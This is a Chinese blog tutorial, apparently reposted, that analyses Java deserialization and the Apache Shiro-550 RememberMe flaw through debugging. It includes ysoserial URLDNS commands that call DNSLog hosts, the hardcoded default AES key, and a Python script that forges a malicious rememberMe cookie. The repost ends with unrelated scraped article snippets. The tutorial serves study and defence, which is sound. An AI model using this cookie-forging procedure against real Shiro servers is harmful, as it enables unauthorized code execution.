Java代码审计Shiro反序列化DNS利用链CC利用链AES动态调试

目录

0x00 前言

0x01 Java原生反序列化介绍

0x02 安全问题1:重写toString方法(打印对象时触发)

0x03 安全问题2:重写readObject(反序列化时触发)

0x04 测试URLDNS链

0x05 Shiro550生成RememberMe Cookie流程分析

0x06 Shiro550漏洞原理分析

0x07 测试Shiro550 URLDNS链

0x08 一些思考


0x00 前言

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 Java原生反序列化介绍

在讨论Shiro之前不得不回顾一下Java原生反序列化,这里创建一个UserDemo类,用来测试Java原生序列化/反序列化。

public class UserDemo implements Serializable {public String name="ch4ser";public String gender="man";public Integer age=23;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}}

测试Java原生序列化,将对象u序列化后写入文件ser.txt。

package com.example.seriatestdemo;import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class SerializableDemo {public static void main(String[] args) throws IOException {//创建一个对象 引用UserDemoUserDemo u = new UserDemo("ch4ser","man",23);//调用方法进行序列化SerializableTest(u);//ser.txt 就是对象u 序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream输出流,用于将数据写入到文件ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));//将对象obj序列化后输出到文件ser.txtoos.writeObject(obj);}}
控制台输出:
ch4ser
maleProcess finished with exit code 0

测试Java原生反序列化,将ser.txt数据反序列化还原为对象并打印输出。

package com.example.seriatestdemo;import java.io.*;public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传入 ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出System.out.println(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}
}
控制台输出:
com.example.seriatestdemo.UserDemo@378bf509Process finished with exit code 0

0x02 安全问题1:重写toString方法(打印对象时触发)

假设UserDemo类在原来的基础上重写了toString方法,并且含有风险代码。

public class UserDemo implements Serializable {public String name="ch4ser";public String gender="man";public Integer age=23;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}public String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}}

再次执行反序列化打印输出,计算器弹出,原因如下:

1、在Java中,当使用System.out.println(obj)打印对象时,实际上会调用该对象的toString方法来获取字符串表示形式。

2、obj是通过反序列化得到的,其类型是UserDemo,而UserDemo类中重写了toString方法,所以在打印时会调用UserDemo类的toString方法。

3、由于toString方法包含了执行Runtime.getRuntime().exec("calc")的代码,导致计算器弹出。

控制台输出:
User{name='ch4ser', gender='male', age=23}Process finished with exit code 0

但这本身其实是由于打印对象时造成的安全问题,和反序列化并没有太大关系,

只是想说如果如果对方在反序列化的时候同时打印了对象,那么这里也可以成为一个利用点。

0x03 安全问题2:重写readObject(反序列化时触发)

那么重点来了,假设UserDemo类在原来的基础上重写了readObject方法,并且含有风险代码。

public class UserDemo implements Serializable {public String name="ch4ser";public String gender="man";public Integer age=23;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}}

再次执行反序列化测试代码,计算器弹出,原因如下:

1、在Java中,当一个类实现了Serializable接口并且重写readObject方法时,该方法会在对象进行反序列化时被调用。

2、由于在UserDemo类中实现了Serializable接口,并且重写了readObject方法,所以在反序列化时调用ois.readObject()会触发UserDemo类的readObject方法。

控制台输出:
com.example.seriatestdemo.UserDemo@378bf509Process finished with exit code 0

在本次测试代码中,UserDemo类重写的readObject方法直接调用了危险方法。

事实上,反序列化的利用链一般有如下几种:

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行

0x04 测试URLDNS链

package com.example.seriatestdemo;import java.io.*;public class UnseriaTest implements Serializable {public static Object UnserializeT(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws IOException, ClassNotFoundException {UnserializeT("urldns.txt");}
}

使用ysoserial生成urldns.txt,传入进行反序列化,Yakit成功记录到DNSLog反连

ysoserial命令:
java -jar ysoserial.jar URLDNS "http://rbxxtvcckc.dgrh3.cn/" > urldns.txt

0x05 Shiro550生成RememberMe Cookie流程分析

在DefaultSecurityManager#rememberMeSuccessfulLogin方法处下断点,测试首次成功登录账户(勾选Remember Me)后Shiro生成RememberMe Cookie的流程,启用IDEA动态调试。

protected void rememberMeSuccessfulLogin(AuthenticationToken token, AuthenticationInfo info, Subject subject) {// 获取RememberMeManager实例RememberMeManager rmm = getRememberMeManager();// 如果RememberMeManager实例不为空if (rmm != null) {try {// 调用RememberMeManager的onSuccessfulLogin方法,用于处理成功登录时的“记住我”逻辑rmm.onSuccessfulLogin(subject, token, info);} catch (Exception e) {// 处理RememberMeManager抛出的异常if (log.isWarnEnabled()) {// 记录警告日志,说明特定类型的RememberMeManager实例抛出异常String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +"] threw an exception during onSuccessfulLogin.  RememberMe services will not be " +"performed for account [" + info + "].";log.warn(msg, e);}}} else {// 如果RememberMeManager实例为空if (log.isTraceEnabled()) {// 记录跟踪日志,说明当前实例未配置RememberMeManager,因此“记住我”服务将不会执行log.trace("This " + getClass().getName() + " instance does not have a " +"[" + RememberMeManager.class.getName() + "] instance configured.  RememberMe services " +"will not be performed for account [" + info + "].");}}
}

以上方法在用户成功登录时执行,会调用RememberMeManager#onSuccessfulLogin方法来处理成功登录时的Remember Me逻辑。

链:rememberMeSuccessfulLogin=>onSuccessfulLogin

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {// 总是清除任何先前的身份信息:forgetIdentity(subject);// 现在保存新的身份信息:if (isRememberMe(token)) {// 如果认证令牌请求记住我功能,则执行记住我逻辑rememberIdentity(subject, token, info);} else {// 如果认证令牌未请求记住我功能,则记录调试信息if (log.isDebugEnabled()) {log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +"RememberMe functionality will not be executed for corresponding account.");}}
}

以上方法首先调用forgetIdentity方法清除之前的身份信息,然后调用isRememberMe方法检查登陆时是否勾选了Remember Me,若是则调用rememberIdentity方法。

链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {// 使用 serialize 方法将身份信息集合转换为字节数组byte[] bytes = serialize(principals);// 如果配置了加密服务(CipherService)if (getCipherService() != null) {// 对字节数组进行加密bytes = encrypt(bytes);}// 返回转换后的字节数组return bytes;
}

步入以上rememberIdentity方法,开始执行勾选Remember Me的逻辑,来到AbstractRememberMeManager#convertPrincipalsToBytes方法。

以上方法做了如下两个操作:

  1. 首先调用AbstractRememberMeManager#serialize方法对用户身份信息进行序列化操作,转换为byte数组
  2. 然后检查CipherService是否配置,若是则调用AbstractRememberMeManager#encrypt方法进行加密。

链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity

=>convertPrincipalsToBytes=>serialize=>encrypt

public byte[] serialize(T o) throws SerializationException {// 检查传入的对象是否为nullif (o == null) {String msg = "argument cannot be null.";throw new IllegalArgumentException(msg);}// 创建字节数组输出流ByteArrayOutputStream baos = new ByteArrayOutputStream();// 创建缓冲输出流BufferedOutputStream bos = new BufferedOutputStream(baos);try {// 创建对象输出流ObjectOutputStream oos = new ObjectOutputStream(bos);// 将对象写入输出流oos.writeObject(o);// 关闭对象输出流oos.close();// 返回序列化后的字节数组return baos.toByteArray();} catch (IOException e) {// 处理序列化过程中的异常String msg = "Unable to serialize object [" + o + "].  " +"In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +"class must implement java.io.Serializable.";throw new SerializationException(msg, e);}
}

​步入以上AbstractRememberMeManager#serialize方法,这里可以看到我们很熟悉的东西,也就是说Shiro使用的是Java原生序列化操作

  1. 创建对象输出流:ObjectOutputStream oos = new ObjectOutputStream(bos);
  2. 将对象写入输出流:oos.writeObject(o);

观察到此时o的值为root,即登录的用户名(表明o是可控的),而由于后续登录Shiro解析RememberMe Cookie时执行的操作是相反的,即执行反序列化操作,故此处存在反序列化漏洞。

链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity

=>convertPrincipalsToBytes=>

serialize=>new ObjectOutputStream(bos)=>oos.writeObject(o)

protected byte[] encrypt(byte[] serialized) {// 将前面序列化后的用户信息(byte数组)赋值给变量valuebyte[] value = serialized;// 获取CipherService实例CipherService cipherService = getCipherService();// 如果CipherService实例不为空if (cipherService != null) {// 使用CipherService对字节数组进行加密,返回加密后的ByteSourceByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());// 从ByteSource中获取加密后的字节数组value = byteSource.getBytes();}// 返回加密后的字节数组return value;
}

步入以上AbstractRememberMeManager#encrypt方法,该方法主要是调用CipherService#encrypt方法对序列化后的用户信息进行加密,其加密密钥通过getEncryptionCipherKey()方法获取。

public ByteSource encrypt(byte[] plaintext, byte[] key) {byte[] ivBytes = null;// 检查是否生成初始化向量(IV)boolean generate = isGenerateInitializationVectors(false);// 如果生成初始化向量if (generate) {// 生成初始化向量ivBytes = generateInitializationVector(false);// 检查生成的初始化向量是否有效if (ivBytes == null || ivBytes.length == 0) {throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +" cannot be null or empty.");}}// 调用加密方法,传入待加密的字节数组、密钥、初始化向量和是否生成初始化向量的标志return encrypt(plaintext, key, ivBytes, generate);
}

步入以上CipherService#encrypt方法,该方法主要是获取密钥key、偏移量iv,然后执行正式的加密逻辑。

后续加密不再做详细介绍,只放以下变量值截图:

通过以上变量值得知加密密钥key和偏移量iv的值,加密算法模式为AES/CBC/PKCS5Padding。

多次测试后发现Shiro550的key和iv是固定的,且AES是对称加密即加密解密的key一致,这也就造成了攻击者可通过使用默认的key对恶意构造的序列化数据进行加密。

补充:这里的key是Ascii数组,Base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==

链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity

=>convertPrincipalsToBytes=>

=>AbstractRememberMeManager#encrypt=>CipherService#encrypt=>key、iv、AES

AES/CBC/PKCS5Padding是什么? 以下为ChatGPT的解释:AES/CBC/PKCS5Padding 是一种描述使用 AES 算法进行加密的具体加密算法和填充方案的字符串表示。在这个字符串中,各个部分的含义如下:AES: 表示使用 AES 算法进行加密。AES(Advanced Encryption Standard)是一种对称加密算法,广泛用于保护敏感数据。CBC: 表示使用 Cipher Block Chaining (CBC) 模式。CBC 是一种块密码的工作模式,它将前一个块的密文与当前块的明文异或,然后再进行加密。这种模式有助于增加密码的安全性。PKCS5Padding: 表示使用 PKCS#5 填充方案。PKCS#5 和 PKCS#7 都是密码学标准中定义的填充方案,用于将不足块大小的明文数据填充到块大小。在实际应用中,PKCS#5 和 PKCS#7 通常是可以互换使用的,因此有时你可能看到 AES/CBC/PKCS7Padding。这个字符串指定了加密和解密算法所需的参数,确保在使用 AES 加密时,采用了特定的工作模式(CBC)和填充方案(PKCS5Padding)。这些参数是为了增加加密的安全性和实现数据的正确解密而引入的。

接着就是Base64编码,设置RememberMe Cookie发送并放行,不再赘述。

链:rememberMeSuccessfulLogin=>onSuccessfulLogin=>rememberIdentity

=>convertPrincipalsToBytes=>serialize=>encrypt=>Base64Encode

0x06 Shiro550漏洞原理分析

从以上的调试过程不难总结出Shiro550漏洞原理,如下:

由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

1、Shiro550生成RememberMe Cookie流程(首次登录成功):用户信息 => 序列化 => AES加密 => Base64编码 => rememberMe Cookie值2、Shiro550验证RememberMe Cookie流程(后续登录验证):rememberMe Cookie值 => Base64解码 => AES解密 => 反序列化3、攻击者角度,构造Payload的流程(同Shiro生成RememberMe Cookie流程):恶意命令 => 序列化 => AES加密 => Base64编码 => rememberMe Cookie值

0x07 测试Shiro550 URLDNS链

和前面测试URLDNS链区别就在于使用ysoserial生成urldns.txt后还需要进行序列化、AES加密、Base64编码。

ysoserial命令:
java -jar ysoserial.jar URLDNS "http://kqoglunpys.dgrh3.cn/" > urldns.txt

这里我使用如下Python脚本进行处理:

from Crypto.Cipher import AES
import uuid
import base64//若提示ModuleNotFoundError: No module named 'Crypto'
//需安装pycryptodome库:pip3 install pycryptodomedef convert_bin(file):with open(file, 'rb') as f:return f.read()def AES_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()return ciphertextif __name__ == "__main__":data = convert_bin("urldns.txt")print(AES_enc(data))

BurpSuite抓包,将生成的字符串粘贴到Cookie: rememberme=后面,发包后Yakit成功记录到DNSLog反连。

0x08 一些思考

为什么不能用之前FastJson的JdbcRowSetImpl那个链?

1、根本原因:Shiro反序列化用的是Java原生反序列化,而Fastjson反序列化用的是其自定义的反序列化2、FastJson能用JdbcRowSetImpl链根本原因是其自定义的反序列化执行时会自定执行类的set、get方法3、Shiro使用Java原生反序列化,其造成漏洞的根本原因是重写了readObject()方法4、Shiro反序列化时无法触发JdbcRowSetImpl类的setDataSourceName、setAutoCommit执行lookup方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/417844.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构【DS】Ch6 图

文章目录 图的基本概念图的存储及基本操作图的遍历图的应用图的连通性问题最小生成树最短路径问题拓扑序列关键路径 图的基本概念 图的存储及基本操作 图的遍历 图的应用 图的连通性问题 最小生成树 最短路径问题 拓扑序列 关键路径

GetShell的姿势

0x00 什么是WebShell 渗透测试工作的一个阶段性目标就是获取目标服务器的操作控制权限,于是WebShell便应运而生。Webshell中的WEB就是web服务,shell就是管理攻击者与操作系统之间的交互。Webshell被称为攻击者通过Web服务器端口对Web服务器有一定的操作权…

网络编程01 常见名词的一些解释

本文将讲解网络编程的一些常见名词以及含义 在这之前让我们先唠一唠网络的产生吧,其实网络的产生也拯救了全世界 网络发展史 网络的产生是在美苏争霸的期间,实际上双方都持有核武器,希望把对方搞垮的同时不希望自己和对方两败俱伤. 希望破坏对方的核武器发射,这就涉及到三个方面…

Intel 显卡小结

Intel显卡从很早前的i740(98年2月,4或8M现存,i740的RAMDAC为203MHZ,支持2X AGP规格,核心频率80MHZ,采用8M速度为100MHZ的SGRAM显存,像素填充率为55MPixels/s,三角形生成速度为500K Trianglws/s,支持DVD解压,AGP 2X,同时…

Python 作图

先在纯python基础上,安装matplotlib:pip install matplotlib 折线图 plot([x],y,[fmt],dataNone,**kwargs) 详见matplotlib.pyplot.plot — Matplotlib 3.1.2 documentation []表示可以不传,fmt传字符串改样式。 画一个试试:…

一个好用的工具,对网工来说是绝杀技!

上午好,我是老杨。 提到用人,很多单位和管理者第一反应都是应聘者的能力。能力到底怎么界定,其实每个人都有不同的判定标准。 在我看来,做事专注,且能尽可能“偷懒”的网工 ,就是我个人筛选员工的标准。 …

Linux 命令diff

命令作用 ⽐较给定的两个⽂件的不同 补充说明 diff命令 在最简单的情况下,⽐较给定的两个⽂件的不同。如果使⽤“-”代替“⽂件”参数,则要⽐较的内容将来⾃标准输⼊。diff命令是以逐⾏的⽅式,⽐较⽂本⽂件的异同处。如果该命令指定进⾏⽬录…

移动机器人规划 - 基于采样的路径搜索

0 预备知识 基于采样的规划器: (1)不要试图显示地构造C空间及其边界 (2)只需要简单的机器人配置是否发生碰撞 (3)利用简单的碰撞测试,充分了解空间 (4)碰撞检…

月薪2W的软件测试工程师,到底是做什么的?

在生活中,我们常常会遇到以下几种窘迫时刻: 准备骑共享单车出行,却发现扫码开锁半天,车子都没有反应;手机导航打车,却发现地图定位偏差很大,司机总是跑错地方;买个水,却…

管理信息系统知识点复习

目录 一、名词解释题1.企业资源规划(ERP)2.面向对象方法:3.电子健康:4.供应链5.数据挖掘6.“自上而下”的开发策略:7.业务流程重组8.面向对象:9.决策支持系统10.聚类11.集成开发环境:12.供应商协同13.数据仓库14.深度学…

多线程编程常见面试题讲解(锁策略,CAS策略,synchronized原理,JUC组件,集合类)

💕"跑起来就有意义"💕 作者:Mylvzi 文章主要内容:多线程编程常见面试题讲解 hello各位朋友们,最近笔者刚刚结束了学校的期末考试,现在回来继续更新啦!!! 今天要学习的是多线程常见面试题讲解,这些内容都是面试中常考的…

【前后端分离与不分离的区别】

Web 应用的开发主要有两种模式: 前后端不分离 前后端分离 理解它们的区别有助于我们进行对应产品的测试工作。 前后端不分离 在早期,Web 应用开发主要采用前后端不分离的方式,它是以后端直接渲染模板完成响应为主的一种开发模式。以前后端不…